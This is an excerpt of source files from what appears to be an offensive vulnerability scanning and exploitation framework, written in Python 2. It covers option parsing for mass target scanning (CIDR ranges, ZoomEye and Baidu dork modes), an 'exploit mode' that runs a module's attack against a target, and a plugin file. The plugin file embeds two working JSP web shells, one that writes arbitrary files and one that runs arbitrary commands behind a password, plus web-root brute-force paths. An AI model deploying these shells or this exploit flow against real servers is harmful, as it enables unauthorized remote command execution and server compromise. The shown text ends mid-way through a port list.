40 | sequences from the text, and if outputting to a tty, will convert them into
41 | win32 function calls.
42 | '''
43 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])')
44 |
45 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
46 | # The wrapped stream (normally sys.stdout or sys.stderr)
47 | self.wrapped = wrapped
48 |
49 | # should we reset colors to defaults after every .write()
50 | self.autoreset = autoreset
51 |
52 | # create the proxy wrapping our output stream
53 | self.stream = StreamWrapper(wrapped, self)
54 |
55 | on_windows = sys.platform.startswith('win')
56 |
57 | # should we strip ANSI sequences from our output?
58 | if strip is None:
59 | strip = on_windows
60 | self.strip = strip
61 |
62 | # should we should convert ANSI sequences into win32 calls?
63 | if convert is None:
64 | convert = on_windows and is_a_tty(wrapped)
65 | self.convert = convert
66 |
67 | # dict of ansi codes to win32 functions and parameters
68 | self.win32_calls = self.get_win32_calls()
69 |
70 | # are we wrapping stderr?
71 | self.on_stderr = self.wrapped is sys.stderr
72 |
73 |
74 | def should_wrap(self):
75 | '''
76 | True if this class is actually needed. If false, then the output
77 | stream will not be affected, nor will win32 calls be issued, so
78 | wrapping stdout is not actually required. This will generally be
79 | False on non-Windows platforms, unless optional functionality like
80 | autoreset has been requested using kwargs to init()
81 | '''
82 | return self.convert or self.strip or self.autoreset
83 |
84 |
85 | def get_win32_calls(self):
86 | if self.convert and winterm:
87 | return {
88 | AnsiStyle.RESET_ALL: (winterm.reset_all, ),
89 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),
90 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),
91 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),
92 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),
93 | AnsiFore.RED: (winterm.fore, WinColor.RED),
94 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),
95 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),
96 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),
97 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),
98 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),
99 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY),
100 | AnsiFore.RESET: (winterm.fore, ),
101 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK),
102 | AnsiBack.RED: (winterm.back, WinColor.RED),
103 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN),
104 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),
105 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE),
106 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),
107 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN),
108 | AnsiBack.WHITE: (winterm.back, WinColor.GREY),
109 | AnsiBack.RESET: (winterm.back, ),
110 | }
111 |
112 |
113 | def write(self, text):
114 | if self.strip or self.convert:
115 | self.write_and_convert(text)
116 | else:
117 | self.wrapped.write(text)
118 | self.wrapped.flush()
119 | if self.autoreset:
120 | self.reset_all()
121 |
122 |
123 | def reset_all(self):
124 | if self.convert:
125 | self.call_win32('m', (0,))
126 | elif is_a_tty(self.wrapped):
127 | self.wrapped.write(Style.RESET_ALL)
128 |
129 |
130 | def write_and_convert(self, text):
131 | '''
132 | Write the given text to our wrapped stream, stripping any ANSI
133 | sequences from the text, and optionally converting them into win32
134 | calls.
135 | '''
136 | cursor = 0
137 | for match in self.ANSI_RE.finditer(text):
138 | start, end = match.span()
139 | self.write_plain_text(text, cursor, start)
140 | self.convert_ansi(*match.groups())
141 | cursor = end
142 | self.write_plain_text(text, cursor, len(text))
143 |
144 |
145 | def write_plain_text(self, text, start, end):
146 | if start < end:
147 | self.wrapped.write(text[start:end])
148 | self.wrapped.flush()
149 |
150 |
151 | def convert_ansi(self, paramstring, command):
152 | if self.convert:
153 | params = self.extract_params(paramstring)
154 | self.call_win32(command, params)
155 |
156 |
157 | def extract_params(self, paramstring):
158 | def split(paramstring):
159 | for p in paramstring.split(';'):
160 | if p != '':
161 | yield int(p)
162 | return tuple(split(paramstring))
163 |
164 |
165 | def call_win32(self, command, params):
166 | if params == []:
167 | params = [0]
168 | if command == 'm':
169 | for param in params:
170 | if param in self.win32_calls:
171 | func_args = self.win32_calls[param]
172 | func = func_args[0]
173 | args = func_args[1:]
174 | kwargs = dict(on_stderr=self.on_stderr)
175 | func(*args, **kwargs)
176 | elif command in ('H', 'f'): # set cursor position
177 | func = winterm.set_cursor_position
178 | func(params, on_stderr=self.on_stderr)
179 | elif command in ('J'):
180 | func = winterm.erase_data
181 | func(params, on_stderr=self.on_stderr)
182 | elif command == 'A':
183 | if params == () or params == None:
184 | num_rows = 1
185 | else:
186 | num_rows = params[0]
187 | func = winterm.cursor_up
188 | func(num_rows, on_stderr=self.on_stderr)
189 |
190 |
--------------------------------------------------------------------------------
/lib/core/option.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import os
5 | import re
6 | import glob #文件路径查找
7 | import sys
8 | from lib.core.data import conf, paths, th, logger
9 | from lib.core.enums import TARGET_MODE_STATUS, ENGINE_MODE_STATUS
10 | from lib.core.enums import API_MODE_NAME
11 | from lib.core.register import Register
12 | from lib.core.common import dataToStdout
13 | from thirdparty.prettytable.prettytable import PrettyTable
14 |
15 |
16 | def initOptions(args): #初始化操作
17 | checkShow(args) #检查是否要求列出脚本
18 | checkSearch(args) #检查是否在搜索脚本
19 | EngineRegister(args) #检查配置扫描引擎,注册互斥量,扫描线程数
20 | ScriptRegister(args) #检查配置脚本项参数
21 | TargetRegister(args) #检查配置扫描目标信息
22 | ApiRegister(args) #检查API配置信息
23 | '''
24 | print "#########以下是conf字典#########"
25 | print conf
26 | '''
27 |
28 | def checkShow(args):
29 | input_path = args.script_name
30 | list_scripts = args.list_scripts
31 | search_script = args.search_script
32 | if list_scripts and (input_path or search_script):
33 | msg = 'Cannot specify or search script when you use [--list]'
34 | sys.exit(logger.error(msg))
35 | scriptsheet = PrettyTable(["Script"])
36 | scriptsheet.align["Script"] = "l"
37 | scriptsheet.padding_width = 1
38 | if list_scripts:
39 | module_name_list = glob.glob(os.path.join(paths.SCRIPT_PATH, '*.py')) #获取script文件夹下所有.py文件列表
40 | msg = 'Total:{}\n'.format(str(len(module_name_list) - 1)) #除去__init__.py算出total总数
41 | for each in module_name_list:
42 | _str = os.path.split(each)[1][0:-3]
43 | if _str != '__init__':
44 | scriptsheet.add_row([_str])
45 | print scriptsheet
46 | dataToStdout(msg)
47 | logger.info('System exit')
48 | sys.exit()
49 |
50 | def checkSearch(args):
51 | input_path = args.script_name
52 | list_scripts = args.list_scripts
53 | search_script = args.search_script
54 | if search_script and (input_path or list_scripts):
55 | msg = 'Cannot specify or list script when you use [--search]'
56 | sys.exit(logger.error(msg))
57 | if search_script:
58 | if re.findall(r'[^\w\d\-_ ]', search_script):
59 | msg = 'The script name you provided is incorrect'
60 | sys.exit(logger.error(msg))
61 | scriptsheet = PrettyTable(["Script"])
62 | scriptsheet.align["Script"] = "l"
63 | scriptsheet.padding_width = 1
64 | length = 0
65 | module_name_list = glob.glob(os.path.join(paths.SCRIPT_PATH, '*.py'))
66 | for each in module_name_list:
67 | _str = os.path.split(each)[1][0:-3]
68 | if _str != '__init__' and re.findall(search_script, _str):
69 | scriptsheet.add_row([_str])
70 | length = length + 1
71 | if length > 0:
72 | msg = 'Total:{}\n'.format(length)
73 | print scriptsheet
74 | dataToStdout(msg)
75 | else:
76 | msg = 'No results found'
77 | logger.error(msg)
78 | logger.info('System exit')
79 | sys.exit()
80 |
81 |
82 | def EngineRegister(args):
83 | thread_status = args.engine_thread
84 | gevent_status = args.engine_gevent
85 | thread_num = args.thread_num
86 |
87 | def __thread():
88 | conf.ENGINE = ENGINE_MODE_STATUS.THREAD #Thread=9
89 |
90 | def __gevent():
91 | conf.ENGINE = ENGINE_MODE_STATUS.GEVENT #Gevent=8
92 |
93 | conf.ENGINE = ENGINE_MODE_STATUS.THREAD # default choice Thread=9
94 |
95 | msg = 'Use [--threads] to set Multi-Threaded mode or [--gevent] to set Coroutine mode.'
96 | r = Register(mutex=True, start=0, stop=1, mutex_errmsg=msg)
97 | r.add(__thread, thread_status)
98 | r.add(__gevent, gevent_status)
99 | r.run()
100 |
101 | if 0 < thread_num < 101:
102 | th.THREADS_NUM = conf.THREADS_NUM = thread_num
103 | else:
104 | msg = 'Invalid input in [--number], range: 1 to 100'
105 | sys.exit(logger.error(msg))
106 |
107 |
108 | def ScriptRegister(args):
109 | input_path = args.script_name
110 | list_scripts = args.list_scripts
111 | search_script = args.search_script
112 | # handle input: nothing
113 | if input_path and (search_script or list_scripts):
114 | msg = 'Cannot specify script when you use [--list] or [--search]'
115 | sys.exit(logger.error(msg))
116 | # handle input: "-s ./script/spider.py"
117 | if input_path:
118 | if os.path.split(input_path)[0]: #如果指定了脚本获取给出脚本的文件夹路径
119 | if os.path.exists(input_path): #判断是否存在该脚本文件
120 | if os.path.isfile(input_path): #判断是否是文件
121 | if input_path.endswith('.py'): #判断是否是Python文件
122 | conf.MODULE_NAME = os.path.split(input_path)[-1] #得到脚本文件名.py
123 | conf.MODULE_FILE_PATH = os.path.abspath(input_path) #得到脚本文件的绝对路径
124 | else:
125 | msg = '[%s] not a Python file. Example: [-s spider] or [-s ./script/spider.py]' % input_path
126 | sys.exit(logger.error(msg))
127 | else:
128 | msg = '[%s] not a file. Example: [-s spider] or [-s ./script/spider.py]' % input_path
129 | sys.exit(logger.error(msg))
130 | else:
131 | msg = '[%s] not found. Example: [-s spider] or [-s ./script/spider.py]' % input_path
132 | sys.exit(logger.error(msg))
133 |
134 | # handle input: "-s spider" "-s spider.py"
135 | else:
136 | if not input_path.endswith('.py'): #如果指定的脚本文件不以.py结尾就加一个.py
137 | input_path += '.py'
138 | _path = os.path.abspath(os.path.join(paths.SCRIPT_PATH, input_path))
139 | if os.path.isfile(_path): #如果这个脚本文件在脚本库中找不到就提醒并退出
140 | conf.MODULE_NAME = input_path
141 | conf.MODULE_FILE_PATH = os.path.abspath(_path)
142 | else:
143 | msg = 'Script [%s] not exist. Use [--list] to view all available scripts in ./script/' % input_path
144 | sys.exit(logger.error(msg))
145 |
146 |
147 | def TargetRegister(args):
148 | input_path = args.script_name
149 | input_file = args.target_file
150 | input_single = args.target_urlip
151 | input_cidr = args.target_cidr
152 | api_zoomeye = args.zoomeye_dork
153 | api_baidu = args.baidu_dork
154 |
155 | if not input_path:
156 | msg = 'Please specify a script with [-s]'
157 | sys.exit(logger.error(msg))
158 | def __file(): #配置批量扫描文件路径
159 | if not os.path.isfile(input_file):
160 | msg = 'TargetFile not found: %s' % input_file
161 | sys.exit(logger.error(msg))
162 | conf.TARGET_MODE = TARGET_MODE_STATUS.FILE #conf.TAGET_MODE=9 -iF模式
163 | conf.INPUT_FILE_PATH = input_file
164 |
165 | def __cidr():
166 | conf.TARGET_MODE = TARGET_MODE_STATUS.IPMASK #conf.TARGET_MODE=7 -iN模式
167 | conf.NETWORK_STR = input_cidr
168 | conf.INPUT_FILE_PATH = None
169 |
170 | def __single():
171 | conf.TARGET_MODE = TARGET_MODE_STATUS.SINGLE #conf.TARGET_MODE=8 -iS模式
172 | conf.SINGLE_TARGET_STR = input_single
173 | th.THREADS_NUM = conf.THREADS_NUM = 1
174 | conf.INPUT_FILE_PATH = None
175 |
176 | def __zoomeye():
177 | conf.TARGET_MODE = TARGET_MODE_STATUS.API #conf.TARGET_MODE=5 API模式
178 | conf.API_MODE = API_MODE_NAME.ZOOMEYE #使用Zoomeye
179 | conf.API_DORK = api_zoomeye
180 |
181 | def __baidu():
182 | conf.TARGET_MODE = TARGET_MODE_STATUS.API #conf.TARGET_MODE=5 API模式
183 | conf.API_MODE = API_MODE_NAME.BAIDU #使用Baidu
184 | conf.API_DORK = api_baidu
185 |
186 | msg = 'Please load targets with [-t|-f|-c] or use API with [-zoomeye|-baidu]'
187 | r = Register(mutex=True, mutex_errmsg=msg)
188 | r.add(__file, input_file)
189 | r.add(__cidr, input_cidr)
190 | r.add(__single, input_single)
191 | r.add(__zoomeye, api_zoomeye)
192 | r.add(__baidu, api_baidu)
193 | r.run()
194 |
195 |
196 | def ApiRegister(args):
197 | search_type = args.search_type
198 | offset = args.api_offset
199 | api_limit = args.api_limit
200 |
201 | if not 'API_MODE' in conf:
202 | return
203 |
204 | if not conf.API_DORK:
205 | msg = 'Empty API dork, show usage with [-h]'
206 | sys.exit(logger.error(msg))
207 |
208 | if offset < 0:
209 | msg = 'Invalid value in [--offset], show usage with [-h]'
210 | sys.exit(logger.error(msg))
211 | else:
212 | conf.API_OFFSET = offset
213 |
214 | if api_limit <= 0:
215 | msg = 'Invalid value in [--limit], show usage with [-h]'
216 | sys.exit(logger.error(msg))
217 | else:
218 | conf.API_LIMIT = api_limit
219 |
220 | if conf.API_MODE is API_MODE_NAME.ZOOMEYE:
221 | if search_type not in ['web', 'host']:
222 | msg = 'Invalid value in [--search-type], show usage with [-h]'
223 | sys.exit(logger.error(msg))
224 | else:
225 | conf.ZOOMEYE_SEARCH_TYPE = search_type
226 |
--------------------------------------------------------------------------------
/lib/core/common.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import os
5 | import re
6 | import sys
7 | import imp
8 | import time
9 | import logging
10 | from lib.core.data import *
11 | from lib.core.exception import *
12 | from lib.utils.expfunctions import *
13 | from lib.core.log import LOGGER_HANDLER
14 | from lib.core.settings import BANNER, UNICODE_ENCODING, NULL, INVALID_UNICODE_CHAR_FORMAT, OPTIONAL_MOUDLE_METHODS
15 | from lib.core.convert import stdoutencode
16 | from lib.core.enums import EXIT_STATUS, TARGET_MODE_STATUS
17 | from thirdparty.termcolor.termcolor import colored
18 | from thirdparty.odict.odict import OrderedDict
19 | from thirdparty.prettytable.prettytable import PrettyTable
20 |
21 |
22 | def setPaths():#设置POC-T的文件路径和目录
23 | """
24 | 设置Sepia的绝对路径
25 | """
26 | root_path = paths.ROOT_PATH
27 | paths.DATA_PATH = os.path.join(root_path, "data") #设置data文件夹路径
28 | paths.SCRIPT_PATH = os.path.join(root_path, "script") #设置script文件夹路径
29 | paths.CONFIG_PATH = os.path.join(root_path, "toolkit.conf") #设置toolkit.conf文件路径
30 | #如果data、script、output三个文件夹都不存在就创建
31 | if not os.path.exists(paths.SCRIPT_PATH):
32 | os.mkdir(paths.SCRIPT_PATH)
33 | if not os.path.exists(paths.DATA_PATH):
34 | os.mkdir(paths.DATA_PATH)
35 |
36 | paths.WEAK_PASS = os.path.join(paths.DATA_PATH, "pass100.txt") #设置弱口令文件pass100.txt的路径
37 | paths.LARGE_WEAK_PASS = os.path.join(paths.DATA_PATH, "pass1000.txt") #设置弱口令文件pass1000.txt的路径
38 | paths.UA_LIST_PATH = os.path.join(paths.DATA_PATH, "user-agents.txt") #设置user-agents.txt文件的路径
39 |
40 | if os.path.isfile(paths.CONFIG_PATH) and os.path.isfile(paths.WEAK_PASS) and os.path.isfile(
41 | paths.LARGE_WEAK_PASS) and os.path.isfile(paths.UA_LIST_PATH):
42 | pass
43 | else:
44 | #如果toolkit.conf、pass100.txt、pass1000.txt、user-agent.txt四个缺失任何一个,就抛出异常
45 | msg = 'Some files missing, it may cause an issue'
46 | raise ToolkitMissingPrivileges(msg)
47 |
48 | def checkFile(filename):
49 | """
50 | function Checks for file existence and readability
51 | """
52 | valid = True
53 |
54 | if filename is None or not os.path.isfile(filename):
55 | valid = False
56 |
57 | if valid:
58 | try:
59 | with open(filename, "rb"):
60 | pass
61 | except IOError:
62 | valid = False
63 |
64 | if not valid:
65 | raise ToolkitSystemException("unable to read file '%s'" % filename)
66 |
67 |
68 | def banner():
69 | """
70 | Function prints banner with its version
71 | """
72 | _ = BANNER
73 | if not getattr(LOGGER_HANDLER, "is_tty", False):
74 | _ = re.sub("\033.+?m", "", _)
75 | dataToStdout(_)
76 |
77 |
78 | def dataToStdout(data, bold=False):
79 | """
80 | Writes text to the stdout (console) stream
81 | """
82 | logging._acquireLock()
83 | if isinstance(data, unicode):
84 | message = stdoutencode(data)
85 | else:
86 | message = data
87 |
88 | sys.stdout.write(setColor(message, bold))
89 |
90 | try:
91 | sys.stdout.flush()
92 | except IOError:
93 | pass
94 |
95 | logging._releaseLock()
96 | return
97 |
98 |
99 | def setColor(message, bold=False):
100 | retVal = message
101 |
102 | if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
103 | if bold:
104 | retVal = colored(message, color=None, on_color=None, attrs=("bold",))
105 |
106 | return retVal
107 |
108 |
109 | def pollProcess(process, suppress_errors=False):
110 | """
111 | Checks for process status (prints > if still running)
112 | """
113 |
114 | while True:
115 | message = '>'
116 | sys.stdout.write(message)
117 | try:
118 | sys.stdout.flush()
119 | except IOError:
120 | pass
121 |
122 | time.sleep(1)
123 |
124 | returncode = process.poll()
125 |
126 | if returncode is not None:
127 | if not suppress_errors:
128 | if returncode == 0:
129 | print " done\n"
130 | elif returncode < 0:
131 | print " process terminated by signal %d\n" % returncode
132 | elif returncode > 0:
133 | print " quit unexpectedly with return code %d\n" % returncode
134 | break
135 |
136 |
137 | def getSafeExString(ex, encoding=None):
138 | """
139 | Safe way how to get the proper exception represtation as a string
140 | (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
141 | """
142 | retVal = ex
143 |
144 | if getattr(ex, "message", None):
145 | retVal = ex.message
146 | elif getattr(ex, "msg", None):
147 | retVal = ex.msg
148 |
149 | return getUnicode(retVal, encoding=encoding)
150 |
151 |
152 | def getUnicode(value, encoding=None, noneToNull=False):
153 | """
154 | Return the unicode representation of the supplied value:
155 |
156 | >>> getUnicode(u'test')
157 | u'test'
158 | >>> getUnicode('test')
159 | u'test'
160 | >>> getUnicode(1)
161 | u'1'
162 | """
163 |
164 | if noneToNull and value is None:
165 | return NULL
166 |
167 | if isListLike(value):
168 | value = list(getUnicode(_, encoding, noneToNull) for _ in value)
169 | return value
170 |
171 | if isinstance(value, unicode):
172 | return value
173 | elif isinstance(value, basestring):
174 | while True:
175 | try:
176 | return unicode(value, encoding or UNICODE_ENCODING)
177 | except UnicodeDecodeError, ex:
178 | try:
179 | return unicode(value, UNICODE_ENCODING)
180 | except Exception:
181 | value = value[:ex.start] + "".join(
182 | INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
183 | else:
184 | try:
185 | return unicode(value)
186 | except UnicodeDecodeError:
187 | return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances
188 |
189 |
190 | def isListLike(value):
191 | """
192 | Returns True if the given value is a list-like instance
193 |
194 | >>> isListLike([1, 2, 3])
195 | True
196 | >>> isListLike(u'2')
197 | False
198 | """
199 |
200 | return isinstance(value, (list, tuple, set))
201 |
202 |
203 | def systemQuit(status=EXIT_STATUS.SYSETM_EXIT):
204 | if status == EXIT_STATUS.USER_QUIT and "is_continue" not in th:
205 | logger.info('User quit')
206 | logger.error('System exit')
207 | elif status == EXIT_STATUS.USER_QUIT and "exploit_mode" in th:
208 | if th.exploit_mode:
209 | logger.error('Exit exploit mode')
210 | logger.info('System exit')
211 | else:
212 | if status == EXIT_STATUS.SYSETM_EXIT:
213 | printResult()
214 | if conf.TARGET_MODE == TARGET_MODE_STATUS.SINGLE: #如果是扫描单个目标就启动attack
215 | attack()
216 | logger.info('System exit')
217 | elif status == EXIT_STATUS.USER_QUIT and th.is_continue:
218 | dataToStdout('\n')
219 | printResult()
220 | logger.info('User quit')
221 | logger.error('System exit')
222 | elif status == EXIT_STATUS.ERROR_EXIT and th.is_continue:
223 | dataToStdout('\n')
224 | printResult()
225 | logger.error('System exit')
226 | else:
227 | raise ToolkitValueException('Invalid status code: %s' % str(status))
228 | sys.exit(0)
229 |
230 | def printResult():
231 | targetsheet = PrettyTable(["Target", "Vulnerable"])
232 | targetsheet.align["Target"] = "l"
233 | targetsheet.padding_width = 1
234 | for i in targetlist:
235 | targetsheet.add_row(i)
236 | print targetsheet
237 | msg = '{} found | {} scanned in {} second'.format(th.found_count, th.scan_count, str(time.time()-th.start_time)[0:4])
238 | out = '{}\n'.format(msg)
239 | dataToStdout(out)
240 |
241 | def attack():
242 | if len(targetlist) and targetlist[0][1]:
243 | for each in OPTIONAL_MOUDLE_METHODS: #OPTIONAL_MOUDLE_METHODS=['exp']
244 | if not hasattr(th.module_obj, each): #如果模块中不存在'exp'方法就提醒并退出
245 | msg = "The script does not contain any exploit module"
246 | logger.warning(msg)
247 | sys.exit(logger.info('System exit'))
248 | else:
249 | try:
250 | expfunc = th.module_obj._type.lower() #加载攻击模块
251 | msg = "Go to exploit mode..."
252 | logger.info(msg)
253 | th.exploit_mode = True
254 | eval(expfunc)(th.module_obj.exp, conf.SINGLE_TARGET_STR)
255 | except AttributeError:
256 | logger.warning("The script didn't specified an exploit type. Exit exploit mode")
257 | sys.exit(logger.info('System exit'))
258 | except NameError:
259 | logger.warning("Sepia does not support vulnerability type '%s'. Exit exploit mode" % th.module_obj._type)
260 | sys.exit(logger.info('System exit'))
261 |
262 |
263 | def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
264 | """
265 | @function returns newline delimited items contained inside file
266 | """
267 |
268 | retVal = list() if not unique else OrderedDict()
269 |
270 | checkFile(filename)
271 |
272 | try:
273 | with open(filename, 'r') as f:
274 | for line in (f.readlines() if unicode_ else f.xreadlines()):
275 | # xreadlines doesn't return unicode strings when codecs.open() is used
276 | if commentPrefix and line.find(commentPrefix) != -1:
277 | line = line[:line.find(commentPrefix)]
278 |
279 | line = line.strip()
280 |
281 | if not unicode_:
282 | try:
283 | line = str.encode(line)
284 | except UnicodeDecodeError:
285 | continue
286 |
287 | if line:
288 | if lowercase:
289 | line = line.lower()
290 |
291 | if unique and line in retVal:
292 | continue
293 |
294 | if unique:
295 | retVal[line] = True
296 |
297 | else:
298 | retVal.append(line)
299 |
300 | except (IOError, OSError, MemoryError), ex:
301 | errMsg = "something went wrong while trying "
302 | errMsg += "to read the content of file '%s' ('%s')" % (filename, ex)
303 | raise ToolkitSystemException(errMsg)
304 |
305 | return retVal if not unique else retVal.keys()
306 |
--------------------------------------------------------------------------------
/plugin/static.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | class ABSPATH_PREFIXES:
5 | LINUX = (
6 | "/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24",
7 | "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/vhosts",
8 | "/var/www/virtual", "/var/www/clients/vhosts", "/var/www/clients/virtual")
9 | WINDOWS = (
10 | "/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache",
11 | "/Program Files/Apache Group/Apache",
12 | "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2",
13 | "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot",
14 | "/Inetpub/vhosts")
15 | ALL = LINUX + WINDOWS
16 |
17 |
18 | # Suffixes used in brute force search for web server document root
19 | ABSPATH_SUFFIXES = (
20 | "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all",
21 | "www/build")
22 |
23 | JSP_UPLOAD = """<%@page contentType="text/html; charset=GBK" import="java.io.*;"%>
24 | JSP
25 | <%
26 | String path=request.getParameter("path");
27 | String content=request.getParameter("content");
28 | String url=request.getRequestURI();
29 | String relativeurl=url.substring(url.indexOf('/',1));
30 | String absolutepath=application.getRealPath(relativeurl);
31 | if (path!=null && !path.equals("") && content!=null && !content.equals("")){
32 | try{
33 | File newfile=new File(path);
34 | PrintWriter writer=new PrintWriter(newfile);
35 | writer.println(content);
36 | writer.close();
37 | if (newfile.exists() && newfile.length()>0){
38 | out.println("save success!");
39 | }else{
40 | out.println("save failed!");
41 | }
42 | }catch(Exception e){
43 | e.printStackTrace();
44 | }
45 | }
46 | out.println("");
52 | %>
53 | """
54 |
55 | JSP_RCE = """<%
56 | if("023".equals(request.getParameter("pwd"))){
57 | java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
58 | int a = -1;
59 | byte[] b = new byte[2048];
60 | out.print("");
61 | while((a=in.read(b))!=-1){
62 | out.println(new String(b,0,a));
63 | }
64 | out.print("");
65 | }
66 | %>"""
67 |
68 | NMAP_PORTS_1000 = \
69 | ['1', '3', '4', '6', '7', '9', '13', '17', '19', '20', '21', '22', '23', '24', '25', '26', '30', '32', '33',
70 | '37', '42', '43', '49', '53', '70', '79', '80', '81', '82', '83', '84', '85', '88', '89', '90', '99', '100',
71 | '106', '109', '110', '111', '113', '119', '125', '135', '139', '143', '144', '146', '161', '163', '179', '199',
72 | '211', '212', '222', '254', '255', '256', '259', '264', '280', '301', '306', '311', '340', '366', '389', '406',
73 | '407', '416', '417', '425', '427', '443', '444', '445', '458', '464', '465', '481', '497', '500', '512', '513',
74 | '514', '515', '524', '541', '543', '544', '545', '548', '554', '555', '563', '587', '593', '616', '617', '625',
75 | '631', '636', '646', '648', '666', '667', '668', '683', '687', '691', '700', '705', '711', '714', '720', '722',
76 | '726', '749', '765', '777', '783', '787', '800', '801', '808', '843', '873', '880', '888', '898', '900', '901',
77 | '902', '903', '911', '912', '981', '987', '990', '992', '993', '995', '999', '1000', '1001', '1002', '1007',
78 | '1009', '1010', '1011', '1021', '1022', '1023', '1024', '1025', '1026', '1027', '1028', '1029', '1030', '1031',
79 | '1032', '1033', '1034', '1035', '1036', '1037', '1038', '1039', '1040', '1041', '1042', '1043', '1044', '1045',
80 | '1046', '1047', '1048', '1049', '1050', '1051', '1052', '1053', '1054', '1055', '1056', '1057', '1058', '1059',
81 | '1060', '1061', '1062', '1063', '1064', '1065', '1066', '1067', '1068', '1069', '1070', '1071', '1072', '1073',
82 | '1074', '1075', '1076', '1077', '1078', '1079', '1080', '1081', '1082', '1083', '1084', '1085', '1086', '1087',
83 | '1088', '1089', '1090', '1091', '1092', '1093', '1094', '1095', '1096', '1097', '1098', '1099', '1100', '1102',
84 | '1104', '1105', '1106', '1107', '1108', '1110', '1111', '1112', '1113', '1114', '1117', '1119', '1121', '1122',
85 | '1123', '1124', '1126', '1130', '1131', '1132', '1137', '1138', '1141', '1145', '1147', '1148', '1149', '1151',
86 | '1152', '1154', '1163', '1164', '1165', '1166', '1169', '1174', '1175', '1183', '1185', '1186', '1187', '1192',
87 | '1198', '1199', '1201', '1213', '1216', '1217', '1218', '1233', '1234', '1236', '1244', '1247', '1248', '1259',
88 | '1271', '1272', '1277', '1287', '1296', '1300', '1301', '1309', '1310', '1311', '1322', '1328', '1334', '1352',
89 | '1417', '1433', '1434', '1443', '1455', '1461', '1494', '1500', '1501', '1503', '1521', '1524', '1533', '1556',
90 | '1580', '1583', '1594', '1600', '1641', '1658', '1666', '1687', '1688', '1700', '1717', '1718', '1719', '1720',
91 | '1721', '1723', '1755', '1761', '1782', '1783', '1801', '1805', '1812', '1839', '1840', '1862', '1863', '1864',
92 | '1875', '1900', '1914', '1935', '1947', '1971', '1972', '1974', '1984', '1998', '1999', '2000', '2001', '2002',
93 | '2003', '2004', '2005', '2006', '2007', '2008', '2009', '2010', '2013', '2020', '2021', '2022', '2030', '2033',
94 | '2034', '2035', '2038', '2040', '2041', '2042', '2043', '2045', '2046', '2047', '2048', '2049', '2065', '2068',
95 | '2099', '2100', '2103', '2105', '2106', '2107', '2111', '2119', '2121', '2126', '2135', '2144', '2160', '2161',
96 | '2170', '2179', '2190', '2191', '2196', '2200', '2222', '2251', '2260', '2288', '2301', '2323', '2366', '2381',
97 | '2382', '2383', '2393', '2394', '2399', '2401', '2492', '2500', '2522', '2525', '2557', '2601', '2602', '2604',
98 | '2605', '2607', '2608', '2638', '2701', '2702', '2710', '2717', '2718', '2725', '2800', '2809', '2811', '2869',
99 | '2875', '2909', '2910', '2920', '2967', '2968', '2998', '3000', '3001', '3003', '3005', '3006', '3007', '3011',
100 | '3013', '3017', '3030', '3031', '3052', '3071', '3077', '3128', '3168', '3211', '3221', '3260', '3261', '3268',
101 | '3269', '3283', '3300', '3301', '3306', '3322', '3323', '3324', '3325', '3333', '3351', '3367', '3369', '3370',
102 | '3371', '3372', '3389', '3390', '3404', '3476', '3493', '3517', '3527', '3546', '3551', '3580', '3659', '3689',
103 | '3690', '3703', '3737', '3766', '3784', '3800', '3801', '3809', '3814', '3826', '3827', '3828', '3851', '3869',
104 | '3871', '3878', '3880', '3889', '3905', '3914', '3918', '3920', '3945', '3971', '3986', '3995', '3998', '4000',
105 | '4001', '4002', '4003', '4004', '4005', '4006', '4045', '4111', '4125', '4126', '4129', '4224', '4242', '4279',
106 | '4321', '4343', '4443', '4444', '4445', '4446', '4449', '4550', '4567', '4662', '4848', '4899', '4900', '4998',
107 | '5000', '5001', '5002', '5003', '5004', '5009', '5030', '5033', '5050', '5051', '5054', '5060', '5061', '5080',
108 | '5087', '5100', '5101', '5102', '5120', '5190', '5200', '5214', '5221', '5222', '5225', '5226', '5269', '5280',
109 | '5298', '5357', '5405', '5414', '5431', '5432', '5440', '5500', '5510', '5544', '5550', '5555', '5560', '5566',
110 | '5631', '5633', '5666', '5678', '5679', '5718', '5730', '5800', '5801', '5802', '5810', '5811', '5815', '5822',
111 | '5825', '5850', '5859', '5862', '5877', '5900', '5901', '5902', '5903', '5904', '5906', '5907', '5910', '5911',
112 | '5915', '5922', '5925', '5950', '5952', '5959', '5960', '5961', '5962', '5963', '5987', '5988', '5989', '5998',
